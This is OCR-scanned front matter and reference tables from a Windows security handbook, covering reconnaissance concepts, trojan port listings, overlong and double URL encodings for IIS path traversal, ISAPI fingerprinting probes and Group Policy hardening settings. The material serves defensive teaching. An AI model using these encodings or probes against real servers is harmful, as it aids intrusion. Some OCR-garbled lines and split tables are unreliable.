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“HackNotes Windows Security Portable Reference distills into a small form factor
the encyclopedic information in the original Hacking Exposed: Windows 2000.”

—dJoel Scambray, coauthor of Hacking Exposed 4" Edition, Hacking
Exposed Windows 2000, and Hacking Exposed Web Applications;
Senior Director of Security, Microsoft's MSN

“HackNotes Windows Security Portable Reference takes a ‘Just the Facts,
Ma’am’ approach to securing your Windows infrastructure. It checks the overly
long exposition at the door, focusing on specific areas of attack and defense.
If you're more concerned with securing systems than speed-reading
thousand-page tech manuals, stash this one in your laptop case now.”

—Chip Andrews, www.sqlsecurity.com, Black Hat Speaker, and
coauthor of SQL Server Security

“No plan, no matter how well-conceived, survives contact with the enemy.
That's why Michael O’'Dea’s HackNotes Windows Security Portable Reference
is a must-have for today’s over-burdened, always-on-the-move security
professional. Keep this one in your hip pocket. It will help you prevent your
enemies from gaining the initiative.”

—Dan Verton, author of Black Ice: The Invisible Threat of
Cyber-Terrorism and award-winning senior writer for Computerworld

“HackNotes Windows Security Portable Reference covers very interesting
and pertinent topics, especially ones such as common ports and services,
NetBIOS name table definitions, and other very specific areas that are essential
to understand if one is to genuinely comprehend how Windows systems are
attacked. Author Michael O’Dea covers not only well-known but also more
obscure (but nevertheless potentially dangerous) attacks. Above all else, he
writes in a very clear, well-organized, and concise style—a style that very few
technical books can match.”

—Dr. Eugene Schultz, Ph.D., CISSP, CISM, Principle Computer Systems
Engineer, University of California-Berkeley, Prominent SANS speaker
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cGraw-Hill/Osborne has created a brand-new series
of portable reference books for security professionals.
These are quick-study books kept to an acceptable
number of pages and meant to be a truly portable reference.
The goals of the HackNotes series are

B To provide quality condensed security reference
information that is easy to access and use.

B To educate you in how to protect your network or system by
showing you how hackers and criminals leverage known
methods to break into systems and best practices in order to
defend against hack attacks.

B To get someone new to the security topics covered in each
book up to speed quickly, and to provide a concise single
source of knowledge. To do this, you may find yourself
needing and referring to this book time and time again.

These books are designed so that they can easily be carried
with you or toted in your computer bag without much added
weight and without attracting unwanted attention while you
are using them. They make use of charts, tables, and bulleted
lists as much as possible and only use screen shots if they are in-
tegral to getting across the point of the topic. Most importantly,
so that these handy portable references don’t burden you with
unnecessary verbiage to wade through during your busy day,
we have kept the writing clear, concise, and to the point.
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Whether you are new to the information security field and need useful start-
ing points and essential facts without having to search through 400+ pages, or
whether you are a seasoned professional who knows the value of using a hand-
book as a peripheral brain that contains a wealth of useful lists, tables, and specific
details for a fast confirmation, or as a handy reference to a somewhat unfamiliar
security topic, the HackNotes series will help get you where you want to go.

Key Series Elements and Icons

Every attempt was made to organize and present this book as logically as possi-
ble. A compact form was used and page tabs were put in to mark primary head-
ing topics. Since the Reference Center contains information and tables you'll
want to access quickly and easily, it has been strategically placed on blue pages
directly in the center of the book, for your convenience.

Visual Cues

The icons used throughout this book make it very easy to navigate. Every hack-
ing technique or attack is highlighted with a special sword icon.

This lcon Represents a Hacking Technique or Attack

Get detailed information on the various techniques and tactics used by hackers
to break into vulnerable systems.

Every hacking technique or attack is also countered with a defensive mea-
sure when possible, which also has its own special shield icon.

This Icon Represents Defense Steps to Counter Hacking
Techniques and Attacks

Get concise details on how to defend against the presented hacking technique
or attack.

There are other special elements used in the HackNotes design containing
little nuggets of information that are set off from general text so they catch your
attention.

6 This “I” icon represents reminders of information, knowledge that should be re-
membered while reading the contents of a particular section.

&

<> This flame icon represents a hot item or an important issue that should not be over-
looked in order to avoid various pitfalls.

Commands and Code Listings

Throughout the book, user input for commands has been highlighted as bold,
for example:

[bash]# whoami
root



he Windows family of operating systems boasts some

of the most user-friendly administrative controls avail-

able on the market today. The consistent, intuitive inter-
face of both the workstation and server editions allow users
to feel their way through complicated processes like setting
up web services, remote administration, or file sharing with
minimal assistance. This trait has been a cornerstone of the
popularity of the Windows operating systems. It has also
been a cornerstone of the Windows security track record.

Prior to Windows Server 2003, a default installation of a
Microsoft Windows family member would make little to no
use of the numerous security controls available to minimize
the risk of system compromise. While extensive options are
made available for the security-conscious administrator to
enable powerful security facilities, the initial security profile
of the operating system is very inviting to attackers. Because
it is not necessary to configure security parameters to get an
application or server working properly, system hardening is
often overlooked or dismissed under the classic rule of “if it
ain’t broke, don’t fix it.”

HackNotes Windows Security Portable Reference is designed
to provide the Windows administrator an understanding of
the tools and techniques used to find, profile, and attack Win-
dows operating systems, the operating system facilities and
utilities that can help avoid these attacks, and the methods by
which they are deployed. The ultimate goal of these pages is
to instill an understanding of Windows security past and
present—not to just see how a particular vulnerability can be
exploited, but to learn how to learn about vulnerabilities,
whenever they occur.



NIV HackNotes Windows Security Portable Reference

How this Book Is Organized

While this book is well-suited as reference material, we have arranged the chap-
ters in a fashion suitable for sequential review. In Part I we discuss the funda-
mentals of hacking and security, the basic techniques of enumeration and
information gathering. As we do throughout the book, we present not only the
concepts behind the techniques of scanning and probing, but also the tools you
can use to try the methods yourself, and experience the hacks firsthand.

In Part IT we examine some common attacks, against both the core Windows
authentication facilities and the most famous Windows target, Internet Informa-
tion Services (IIS). In this section, we explore weaknesses in Windows authentica-
tion and common services, and discuss how to harden systems to limit exposures.
In Chapter 7, on hacking IIS, we’ll even show step-by-step how to employ exploit
code freely available on the Internet to compromise systems using well known
vulnerabilities.

Finally, in Parts III and IV we cover the host of security tools and subsys-
tems in the Windows operating system that are available to help administrators
push security to their environment, whether it be a network of internal desktops
or an Internet web farm. We'll cover defensive techniques from the most basic,
such as file system and local system security policies, to more complicated Ac-
tive Directory domain-level security using group policies, and deployment of
network traffic and file system encryption.

All of the concepts and tools discussed in these pages have been distilled
into our Reference Center, in the middle of this book. In this section, we have
presented a host of useful tables available at your fingertips, with information
ranging from TCP/IP data types to useful Windows security tool sources and
command lines.

How to Read this Book

Each chapter can be read as a separate entity—out of order, if so desired. A great
deal of thought and care has gone into demonstrating concepts and techniques
for each chapter in a clear and concise format, and providing cross references to
relevant information elsewhere in the book. This approach allows the informa-
tion to be more easily digested the first time, and makes for easier reference later.

With few exceptions, in each chapter we begin with a discussion of the con-
cepts and terminology of the subject matter. Once we have explained the back-
ground, we then proceed to introducing any tools or Windows functionality
associated with the topic. In some more complicated chapters, such as those
dealing with network and file system encryption, we provide complete
step-by-step procedures to deploy the techniques discussed.



Reference Gentenr

Hacking Fundamentals: Concepts ..................... RC 2
UCIMIP Wiesa@me TYEES  coooococsccccoooossscccosoooass RC5
Common Ports and Services .......................... RC7
Common NetBIOS Name Table Definitions —............ RC 12
Windows Security Fundamentals: Concepts ............ RC13
Windows Default User Accounts — ..................... RC 14
Windows Authentication Methods .................... RC 15
Common Security Identifiers (SIDs) ................... RC 16
Windows NT File System Permissions ................. RC17
Useful Character Encodings .......................... RC 18
Hexadecimal ASCII Characters —................. RC 18
Common Special Character Encodings ........... RC 20
Testing for Internet Information Services
ISAP APPINEEHNENS  occcoosoosccccooosocssscoooos: RC21
Security Related Group Policy Settings ................ RC 22
Useful Tools . ...ooo RC 26
Quick Command Lines ......................ocou... RC 28
WinPcap / libpcap Filter Reference ................... RC 29
nslookup Command Reference ....................... RC 30
Microsoft Management Console ...................... RC 31
Online References  .......... ..., RC 32



RC 2 Reference Genter

Hacking Fundamentals: Concepts

oot sy

Discover Targets (for scanning
and enumeration)

Discover User Information
(for guessing user credentials,
social engineering)

Discover Other Routes
(partners and subsidiaries)

Wardialing

Ping sweep

TCP Port scanning

UDP Port scanning

Source Port scanning

Enumerating services

Find DNS primaries, attempt zone transfers; use
nslookup to find IP addresses; brute force machine
names with domain suffix.

Whois databases: http://www.arin.net,
http://www.ripe.net, http://www.apnic.net,
http://www.jpnic.net, http://www.lacnic.net

Web search engines @domain.com; Usenet
searches; press releases

News and press release search for mergers and
acquisitions

Grandfather of modern network scanning, the
process of exhaustively dialing numbers to find
other modems.

Sending ICMP Echo requests to a large block
of addresses to quickly find the “live” hosts.

Using well-defined methods to elicit responses from
TCP ports with listening services. Methods include
full-connect, SYN, null, FIN, and Xmas tree.

More challenging due to less formal protocol, usually
relies on periodic responses of ICMP port
unreachable messages.

Tricking a firewall or router ACL into passing scan
traffic by using a trusted source port, such as 53
(DNS) or 80 (HTTP).

Process of communicating with services using
legitimate client services to elicit additional
information about the host, network, or clients
of the service.



Nudge string

NetBIOS Session Service,
Direct SMB, and the
SMB Null Session

NetBIOS Name Table

Null Session enumeration

SID Walking

Packet capture

Promiscuous mode

Security Identifier

Hacking Fundamentals: Concepts RG 3

Some services require nudging before they will return
service banners or other valid information. A common
nudge string is the HTTP HEAD verb:

HEAD /HTTP/A.0

One of the most common Windows hacks is the SMB
null session. Often referred to as a NetBIOS null
session, this term is incorrect as null sessions can be
established over direct SMB (TCP/445) or NetBIOS
Session service (TCP/139).

The NetBIOS Name service (UDP/137) can provide
a table of network services on a particular host,

an educated attacker can determine NetBIOS
name, domain, or workgroup membership, and
occasionally even logged-on usernames from the
NetBIOS Name table.

When null sessions are enabled, an attacker can
elicit a number of details from the host including
SMB shares, local users and groups, password
and account lockout policies, workstation types,
and domain trust.

Method of enumerating local users even when

Null Session SAM enumeration is disabled. Attacker
supplies predictable security IDs (SIDs) to the server
requesting SID-to-account name translation.

Process of intercepting raw network packets off of
the wire for later analysis or decoding.

Network interface setting that instructs the driver to
accept all packets on the wire, regardless of whether
or not they are addressed to the local machine.

Alphanumerical representation of a Windows system
or domain and the associated user or group identifier,
known as a RID.

IEER)
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Built-in accounts
Default accounts

SAM

Password hashing

LSA

Each Windows operating system ships with a number
of user-contexts installed by default. A list of these
accounts is presented in the Windows Default User
Accounts table later in the Reference Center.

The Windows Security Accounts Manager database,
responsible for storing group and user account
details.

Process of generating a cryptographic representation
of a password. Most password hashes are non-
reversible (one-way hash), so the only way to recover
a password is by using a brute-force or dictionary
attack and applying the hash.

Comprised of the Local Security Authority Subsystem
(LSASS) and the Security Reference Monitor (SRM),
the Local Security Authority is the system responsible
for enforcing Windows system security.

1 Eie Acion Wiew Foiles Window Help | =i
e - (BW K B2
| HackMotes PO Examele Folcy | Secuity Setting | =]
=1 Local Compute: Policy fig] Microsalt nebecek. clent Dighally sign communications . Disabled
£ Computer Corfiguralion icrazolt network cient: Digally sin communicatons ... Enablad
] Saltwae S_—.N_rgz icrozalt nebwiek. cient Send unenciypled passward b Dizabled
510 Windaws Selings icrosolt nstwork sewver: Amourk of idke bme requited .. 15 minutes
(] Sotipts [Statup/Shuldomn| T iy 5} " t
41 B Secuity Settings r:n:solt nebwork. server: D?qta.lv 2 conntiitions.. D!sa:\lcd
518 Ancount Policies .r_'w:solt nsbwoik zerver ngaly sigh communications... Dizabled
= 78 Locd Paiicies iciosolt nehweek sever Discornect clerts when log . Enabled
¥ 08 Audit Poicy delwark access Allow anorpmous SI0Mame rznshb.. Disatled
= &) User Rights Assignment etwark zcosss Do not alow snonymous enumerztio.. Enzbled
@ 5 Do ot alov anonymous erumeratio,.  Enabled
=] Public Key Policies 2 Do not aliow storage of credertialz or.. Disabled
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elwark securiy: LAM Manager authentication level Send MTLM2.
etwark: szcuwty LDAP client sgring iequiements Hegatishe signi.
etwork sacwky: Minmum session secwity for NTLM . Nat defined
elwark secwiy. Minimom session cecuity for NTLM . Mot defined
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hutdowar: Allow syztem to be shut dow withoul havin.. Mot defined
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Figure RC-1.

Use the Security Options grouping of the Local Group Policy Object (GPO)

to apply controls for anonymous users and configure network authenication

options.



ICMP Message Types

ICMP Type
Message Identifier | Description Supported?*

Echo Reply 0
Destination 3
Unreachable

Source Quench @ 4

Redirect 5

(o]

Echo (Request)

Time Exceeded = 11

ICMP Message Types RG 5

The ping reply packet. Sent in Always
response to Echo Requests.

Sent by intermediate devices Usually
(routers, and so on) when target
address is unavailable.
Subcodes include

0—Network Unreachable
1—Host Unreachable
2—Protocol Unreachable
3—Port Unreachable
4—Fragmentation required
5—Source route failure
6—Destination network unknown
7—Destination host unknown
9—Network Admin Prohibited
10—Host Admin Prohibited
13—Admin Prohibited

A control message that asks the Rarely
destination host to stop sending

data. Deprecated with modemn

network capacities.

A redirect is sent in response to a Sometimes
packet that has been misrouted. The
redirect packet includes information as

to what route the packet should use.
The ping request packet. Always

A control message that informs the | Usually
destination that one of their packets

failed to reach its destination in a

reasonable amount of time. Used in

trace routes to identify intermediate

device IP addresses.

191u39
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ICMP Type
Message Identifier | Description Supported?*

Timestamp Similar to Echo, Timestamp asks the  Usually
destination to reply with its current
time in the payload.

Timestamp 14 Response to Timestamp request. Usually

Reply

Information 15 Similar to Echo, implementations Sometimes
vary as to type of returned data.

Information 16 Response to Information request. Sometimes

Reply

Address Mask = 17 Similar to Echo, this request asks Sometimes

the destination to reply with its IP
subnet mask.

Address Mask | 18 Response to Address Mask request. = Sometimes
Reply

* Supported in this context refers both to the number of devices that support the protocol and to
the tendency for these ICMP types to be filtered by firewalls or other traffic control devices.
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Common Ports and Services

Port Number

O\‘MOI

13
19
20
21
22
23
25
30
43
48
49

50
53
58
59
66
67
68
69
70
79
80

TCP, UDP
TCP
TCP, UDP
TCP,UDP
TCP, UDP
TCP, UDP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
UDP

TCP
TCP, UDP
TCP
TCP
TCP
TCP, UDP
TCP, UDP
UDP
TCP, UDP
TCP, UDP
TCP

Reserved

TROJAN death

Echo

Discard

Daytime

Chargen

FTP (default data channel)
FTP (control channel)
SSH (Secure Shell)
Telnet

SMTP

TROJAN agent-40421
Whois

TROJAN drat

TACACS (Terminal Access Controller Access
Control System)

TROJAN drat
Domain Name System
TROJAN dmsetup
TROJAN dmsetup
Oracle SQLNET
Bootp server
Bootp client

Trivial FTP
Gopher

Finger

HTTP

191u39
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Port Number
81
88
99
109
110
111
113
119
123
133
135
137
138
139
143
161
162
170

177
179
194
216
256
257
258
259

TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP, UDP
TCP
TCP, UDP
TCP, UDP
UDP
TCP
TCP, UDP
UDP
UDP
TCP

TCP, UDP
TCP, UDP
TCP
TCP, UDP
TCP
TCP
TCP
TCP

HTTP (alternate, sometimes admin)
Kerberos

TROJAN hidden port

POP-2 (Post Office Protocol)

POP-3

Sun RPC Portmapper

[dent

NNTP (Network News Transfer Protocol)
NTP (Network Time Protocol)

TROJAN farnaz

NT RPC endpoint mapper

NetBIOS Name Service

NetBIOS Datagram Service

NetBIOS Session Service

IMAP (Internet Message Access Protocol)
SNMP

SNMP Trap

Network PostScript print server / TROJAN
a-trojan

X Display Manager

BGP (Border Gateway Protocol)

IRC (Internet Relay Chat)

Computer Associates License Server
Checkpoint Firewall Management
Checkpoint Firewall Log Management
Checkpoint Firewall Management

Checkpoint Firewall Telnet Authentication



Port Number
259
260
261
264
265
280
389
396
407
443
444
445
455
464
500
512
513
513
514
514
515
520
524
531
540
543
544
563

UDP
UDP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP, UDP
TCP, UDP
TCP
TCP
UDP
TCP
TCP
UDP
TCP
UDP
TCP, UDP
UDP
TCP
TCP
TCP
TCP
TCP
TCP

Common Ports and Services RG 9

Checkpoint VPN-1 FWZ Key Management
Checkpoint Alternate SNMP

Checkpoint Firewall Management
Checkpoint Firewall Topology Download
Checkpoint VPN-1 Public Key Transfer Protocol
HTTP Management

LDAP (Lightweight Directory Access Protocol)
Novell Netware

Timbuktu (Remote Management)

HTTP over SSL

SNPP (Simple Network Paging Protocol)
Microsoft Direct SMB

TROJAN fatal connections

Kerberos Password

IKE (IPSEC Internet Key Exchange)
Rexec

Rlogin

Rwho

Rshell

Syslog

Printer

RIP (Routing Information Protocol)
Netware Core Protocol

TROJAN rasmin

UucP

Kerberos Login

Kerberos Shell

NNTPS (Secure NNTP)
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Port Number
599
605
689
799-800
873
1080
1081
1169
1214
1241
1270
1243
1433
1434
1498
1600
1723
1745
2000
2001
2049
2140
2301
3001
3389
4001
4899
5631-2

TCP
TCP
TCP, UDP
TCP, UDP
TCP
TCP, UDP
TCP, UDP
TCP, UDP
TCP
TCP
TCP, UDP
TCP
TCP
UbP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
UDP
TCP
TCP
TCP
TCP
TCP
TCP, UDP

HTTP RPC Endpoint Mapper
TROJAN secret service

NMAP

Remotely Possible

Rsync

SOCKS Proxy

SOCKS Proxy alternate

Tripwire (file integrity monitor)

Kazaa Network

Nessus

Microsoft Operations Manager (MOM)
TROJAN subseven

Microsoft SQL Server

Microsoft SQL Monitor service
Sybase

Issd

Point-to-Point Tunneling Protocol (PPTP)
Winsock-proxy

Remotely Anywhere

Cisco device management, Remotely Anywhere
NFS

TROJAN deepthroat

Compagq Insight Manager

Nessus

Terminal Services

Cisco device management

RAdmin

PC Anywhere



Port Number
5800+

5900+

6272

6667

6969
8000-8001
8080

8961

12345

17300
18181-7
20034
31337
32771
33567-8
33911
34324
36794
37237
40421
43188
60008
61348
61603
63485
65421

Common Ports and Services

TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP

TCP
TCP, UDP
TCP
UDP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP

VNC

VNC

TROJAN secretservice

IRC (Internet Relay Chat) TROJAN various
TROJAN net controller

HTTP Alternate

HTTP Alternate

TROJAN aok-backdoor

TROJAN netbus
Trend Micro virus management

TROJAN kuang-2
Checkpoint OPSEC
TROJAN netbus2
TROJAN backorifice
Solaris RPC portmapper (High)
TROJAN lionworm
TROJAN spirit

TROJAN big-gluck
TROJAN bugbear
TROJAN mantis
TROJAN agent-40421
ReachOut (remote control)
TROJAN lionworm
TROJAN bunker hill
TROJAN bunker hill
TROJAN bunker hill
TROJAN jade

el

191u39
2Iudlajay

$391A13 pue SHO0d UoWWoY



RC 12 Reference Center

Common NetBIOS Name Table Definitions

[nbname] <00> UNIQUE
[domain] <00> GROUP
<\--__MSBROWSE__> <01> GROUP

[nbname] <01> UNIQUE
[nbname] <03> UNIQUE

[username] <03> UNIQUE
[nbname] <06> UNIQUE
[nbname] <1F> UNIQUE
[nbname] <20> UNIQUE
[nbname] <21> UNIQUE

[nbname] <22> UNIQUE
[nbname] <23> UNIQUE
[nbname] <24> UNIQUE

[nbname] <30> UNIQUE
[nbname] <31> UNIQUE

[nbname] <43> UNIQUE
[nbname] <44> UNIQUE
[nbname] <45> UNIQUE
[nbname] <46> UNIQUE
[nbname] <6A> UNIQUE

[nbname] <87> UNIQUE
[nbname] <BE> UNIQUE
[nbname] <BF> UNIQUE
[domain] <1B> UNIQUE
[domain] <1C> GROUP
[domain] <1D> UNIQUE
[domain] <1E> GROUP
<INet~Services> <1C> GROUP
<IS~[nbname]> <00> UNIQUE

Workstation Service on host [nbname]
System is member of [domain]
Master Browser

Messenger Service

Messenger Service for user [username]
Remote Access Services

Network DDE Service

(File) Server Service

Remote Access Services Client service

Microsoft Exchange Interchange
Microsoft Exchange Store
Microsoft Exchange Directory

Modem Sharing Server
Modem Sharing Client

SMS Client Remote Control

SMS Administrator Remote Control Tool
SMS Client Remote Chat program

SMS Clients Remote Transfer service

Microsoft Exchange Internet Mail
Connector service

Microsoft Exchange Mail Transfer Agent
Network Monitor Agent

Network Monitor Application

Domain Master Browser

Domain Controller

Master Browser

Browser Service Elections

Internet Information Services

Internet Information Services



Windows Security Fundamentals: Concepts RG 1 3

Windows Security Fundamentals: Concepts

Security Identifier
Built-in accounts
Default accounts

SAM

Password hashing

LSA

Alphanumerical representation of a Windows
system or domain and the associated user or
group identifier, known as an RID.

Each Windows operating system ships with a
number of user contexts installed by default. A
list of these accounts is presented after this table.

The Windows Security Accounts Manager
database responsible for storing group and user
account details.

Process of generating a cryptographic representation
of a password. Most password hashes are non-
reversible (one-way hash), so the only way to
recover a password is by using a brute-force or
dictionary attack and applying the hash.

Comprised of the Local Security Authority
Subsystem (LSASS) and the Security Reference
Monitor (SRM), the Local Security Authority is
the system responsible for enforcing Windows
system security.

191u39

sjdasuo?
‘s|ejuawepuny A}1Anaag SMOPUIM aauaiajay



RC 14 Reference Center

Windows Default User Accounts

SYSTEM, Local System The core operating system user context; unlimited
local system access.

LOCAL SERVICE Service user context with more restricted local
permissions; can authenticate to remote systems
as an anonymous user.

NETWORK SERVICE Service user context with more restricted local
permissions; can authenticate to remote systems
with the system’s computer account.

Administrator Default super-user; can be renamed but retains its
default SID.

IUSR_systemname Service account created for Internet Information
Services.

IWAM_systemname Service account created for processes spawned
by Internet Information Services.

TslnternetUser Terminal Services user context.

SUPPORT _xxxxxxxx User context for Help and Support Services in
Windows XP and 2003.

Guest Limited privilege account; disabled by default.



Windows Authentication Methods RG 15

Windows Authentication Methods

Windows Authentication
Protocols Description

LM (LAN Manager)

NTLM

NTLMv2

Kerberos

Though a challenge/response system, the simplicity

of the LM hash meant that the original password hash
could be quickly recovered from the wire, where it could
be brute forced (or dictionaried) in short order.

Improvements in the base password hash translated to
better challenge/response format. Original password hash
can still be brute forced, but nowhere near as quickly.

NTLMv1 challenge/response is further encrypted with a
128-bit key. Very difficult to brute force.

Widely accepted as a secure authentication protocol,
exact methods vary by implementation. Can be
captured and brute forced, but process is very slow.
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Common Security Identifiers (SIDs)

S-1-1-0 Everyone automatic group

S-1-5-1 Dialup users automatic group

S-1-5-2 Network users automatic group

S-1-5-3 Batch users automatic group

S-1-5-4 Interactive users automatic group

S-1-5-6 Service users automatic group

S-1-5-11 Authenticated users automatic group
S-1-5-[domain SID]-500 Administrator built-in account

S-1-5-[domain SID]-501 Guest built-in account

S-1-5-[domain SID]-1000 Default SID of first account on a local system or

Windows NT domain. Active Directory assigns SID
groupings for each domain in the forest, so user
RIDs are not predictable.

Note: A complete list of common SIDs is available in Microsoft KB article 243330 at
http:/ /support.microsoft.com/?kbid=243330.



Permissions

Full Control

Traverse Folder / Execute File
List Folder / Read Data

Read Attributes

Read Extended Attributes
Create Files / Write Data

Create Folders / Append Data

Write Attributes

Write Extended Attributes
Delete Subfolders and Files
Delete

Read Permissions

Change Permissions

Take Ownership

Windows NT File System Permissions R¢ 17

Windows NT File System Permissions

Allows one-click enabling of all permissions; not
present in Windows 2000.

Permits access (change directory) to a subdirectory
or execution of a given file.

Permits user to obtain a directory listing when
applied to a directory or read access when applied
to afile.

Allows viewing file attributes Read Only and Hidden.

Allows viewing file attributes Archive, Indexing,
Compression, and Encryption.

Permits user to create new files or to write data
(when applied to a directory or a file, accordingly).

Permits user to create subdirectories or add data to
an existing file (when applied to a directory or a file,
accordingly).

Allows user to change the Read-Only or Hidden
attributes.

Allows user to change the Archive, Indexing,
Compression, and Encryption attributes.

Permits user to delete files or directories below this
object.

Permits user to delete this object.

Permits user to view the SIDs associated with an
object to determine permissions for other users and
groups (DACLs).

Permits a user to add or remove permissions for an
object.

Allows a user to assume ownership of the object,
effectively allowing full control. Take Ownership
must be exercised by the user; however, simply
assigning a user permission to take ownership does
not transfer ownership.
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Useful Character Encodings

Hexadecimal ASCII Characters

8 38

Space 20
! 21 9 39
! 22 : 3A
# 23 ; 3B
$ 24 < 3C
% 25 = 3D
& 26 > 3E
' 27 ? 3F
( 28 @ 40
) 29 A 4
* 2A B 42
+ 2B c 43
; 2C D 44
2D E 45
2E F 46
/ 2F G 47
0 30 H 48
1 31 [ 49
2 32 J 4A
3 33 K 4B
4 34 L 4C
5 35 M 4D
6 36 N 4E
7 37 0 4F



Character

- o o o T » @ | >‘—'/'_'N—<><§<C—|UJ:UO'UI

Hexadecimal

50
51

52
53
54
55
56
57
58
59
5A
58
5C
5D
5E
5F
60
61

62
63
64
65
66
67

h 68

DEL

Useful Character Encodings RG 1 9

69
6A
6B
6C
6D
6E
6F
70
71

72
73
74
75
76
77
78
79
7A
7B
7C
7D
7E
7F
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Common Special Character Encodings

%C0%AF /
%C1%9C
9%E0%80%AF

%C0%DC \
%E0%80%DC

%C0%A5 %
%E0%80%A5

%C0%A7 '
%E0%80%A7

%C0%A0 Space
%E0%80%A0

%C0%AB +
%E0%80%AB

%C0%BF ?
%E0%80%BF

Double Encoding

Double-encoding is accomplished by making the first pass of decoding expose %
characters. Any hexadecimal-encoded character can be double-encoded by preceding
it with %25, the representation of %.



Testing for Internet Information Services ISAPI Applications RG 21

Testing for Internet Information Services ISAPI
Applications

Default ISAPI Mapping | Mapping Test (Use with netcat)

Web-Based Password
Reset (.htr)

Index Server (.idg, .ida)

Internet Data Connection
(-idc)

Webhits (.htw)

Web Printing Protocol
(-printer)

Server-Side Includes
(-stm, .shtm, .shtml)

Frontpage IIS Default
Objects

Frontpage
Extensions—shtml.dll

Frontpage
Extensions—fpcount.exe

Frontpage
Extensions—_vti_inf

Probe: GET /anything.htr HTTP/1.0 [cr] [cr]
Response: <html>Error: The requested file could not
be found. </html>

Probe: GET /anything.idg HTTP/1.0 [cr] [cr]
Response: <HTML>The IDQ file anything.idg could not
be found...

Probe: GET /anything.idc HTTP/1.0 [cr] [cr]
Response: <body><h1>Error Performing Query</n1>
The query file <b>/null.idc</b> could not be opened...

Probe: GET /anything.htw HTTP/1.0 [cr] [cr]
Response: <HTML><BODY>
<p><h3><center>The format of QUERY_STRING is
invalid.<BR>...

Probe: GET /anything.printer HTTP/1.0 [cr] [cr]
Response: <b>Error in web printer install.</b>

Probe: GET /anything.stm HTTP/1.0 [cr] [cr]
Response: <body><h1>404 Object Not
Found</h1></body>

NOTE: This 404 page differs from the standard IIS 404
response.

Object Test

Probe: GET /_vti_bin/shtml.dll HTTP/1.0 [cr] [cr]
Response: <HTML><BODY>Cannot run the FrontPage
Server Extensions’ Smart HTML interpreter on this
non-HTML page: &quot;&quot;</BODY></HTML>

Probe: GET /_vti_bin/fpcount.exe HTTP/1.0 [cr] [cr]
Response: <head><title>Error in CGlI
Application</title></head>

<body><h1>CGl Error</h1>The specified CGl application
misbehaved...

Probe: GET /_vti_inf.html HTTP/1.0 [cr] [cr]
Response: ...<p>In the HTML comments, this page
contains configuration information that the FrontPage
Explorer and FrontPage Editor need to...
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Security-Related Group Policy Settings’

" Note that some options may not be available in all Windows operating systems.

Password Management

Location Local Computer Policy\Computer
Configuration\Windows Settings\Security
Settings\Account Policies\Password Policy

Enforce Password History How many hashes remembered to prevent password
re-use, recommended setting 5+.

Maximum Password Age Maximum length of time a user can wait before being
forced to change passwords. Recommended setting
30-90 days depending on system sensitivity.

Minimum Password Age Minimum period of time before a user can change
their password. Set to 15+ days to prevent users from
cycling through remembered passwords to get back
to their favorite.

Minimum Password Length Fewest number of characters allowed in a password.
Recommend a minimum of eight characters, more if
complexity is not enforced.

Password Must Meet When enabled, Windows verifies complexity of new

Complexity Requirements passwords using the password filter library passfilt.dll
(which can be replaced). Default password filter
requires a minimum of six characters, with a
character from three of the character classes: [a—z],
[A-Z], [0-9], and special characters.

Login Failure Management

Location Local Computer Policy\Computer
Configuration\Windows Settings\Security
Settings\Account Policies\Account Lockout Policies

Account Lockout Duration Controls the amount of time between when an
account is locked in response to invalid login attempts
and when the account is automatically unlocked by
the operating system. Any setting higher than a few
minutes will result in helpdesk calls when a legitimate
user accidentally locks out their account, but low
values can allow a patient attacker to mount a
long-term password guessing attack. Recommended
setting 30-60 minutes.



Security-Related Group Policy Settings RG 23

Login Failure Management

Account Lockout Threshold

Reset Account Lockout
Counter After

Number of failed logins before account is locked out.
Setting should vary depending on password
complexity settings. Systems using two-factor
authentication can set this fairly high, whereas
systems with no complexity limit should keep the
number low.

Determines how long the system remembers failed
login attempts. Should be set high enough to make
password guessing unusable. Recommended setting:
30 minutes.

191u39
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System Audit Policies

Location

Audit Account Logon Events

Audit Account Management

Audit Logon Events

Audit Policy Change

Audit Privilege Use

Audit System Events

Local Computer Policy\Computer
Configuration\Windows Settings\Security
Settings\Local Policies\Audit Policy

This option allows logging of any time that the local
system is used to authenticate an account, even

if the logon is attempted on another computer.
Recommended minimum: Failure.

Logs any change to a user account—creation,
modification, or deletion. Recommended minimum:
Success, Failure.

Logs any local system logon events. Recommended
minimum: Failure.

Controls whether or not to audit all changes to local
system policies, whether introduced due to user activity
or otherwise. Recommended minimum: Failure.

Determines whether or not to audit events where a
user or process takes advantage of a local system
right. Privilege use occurs frequently, so auditing this
category can introduce a lot of log noise.
Recommended setting: No auditing.

Determines whether to record items such as system
startup/shutdown or other major events.
Recommended setting: Success, Failure.
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Miscellaneous Options

Location

Note

Accounts: Rename
Administrator Account

Interactive Logon: Do Not
Display Last User Name

Network Access: Allow
Anonymous SID/Name
Translation

Network Access: Let Everyone
Permissions Apply to
Anonymous Users

Network Access: Do Not Allow
Anonymous Enumeration of
SAM Accounts (and Shares)

Network Security: Do Not
Store LAN Manager Hash
Value on Next Password
Change

Local Computer Policy\Computer
Configuration\Windows Settings\Security
Settings\Local Policies\Security Options

The naming convention differs between Windows
2000 and XP/2003, and some options are unavailable
in Windows 2000.

Allows specifying a new username for the built-in
Administrator account. This will not change the SID,
but along with blocking anonymous SID/name
translation, can prevent remote users from guessing
the Administrator account credentials.

When enabled, prevents information leakage from local
attackers pressing CTRL-ALT-DEL to find legitimate
usernames. Recommended setting: Enabled.

This option enables remote systems to conduct SID
lookups and is used by programs like sid2user to
enumerate users when anonymous SAM enumeration
is disabled. Recommended setting: Disabled.

This setting prevents privileges for the Everyone
built-in group from being applied to anonymous users.
Recommended setting: Disabled.

Specifies whether or not to allow anonymous users to
list user accounts and/or SMB shares being offered
on the system. Recommended setting: Enabled.

Specifies whether or not Windows should continue
supporting LM authentication. If enabled, system will
no longer store LM hash, so Windows 9x clients will
be unable to authenticate without the Directory
Services client. Recommended setting: Enabled.



Security-Related Group Policy Settings RG 25

Miscellaneous Options

Network Security: LAN
Manager Authentication Level

Shutdown: Clear Virtual
Memory Pagefile

System Cryptography: Use
FIPS Compliant Algorithms
for Encryption, Hashing,
and Signing

Determines how system responds to network
authentication requests. Defaults to allowing

LM authentication on Windows 2000 and XP.
Recommended setting: Send NTLM Response Only
(or higher).

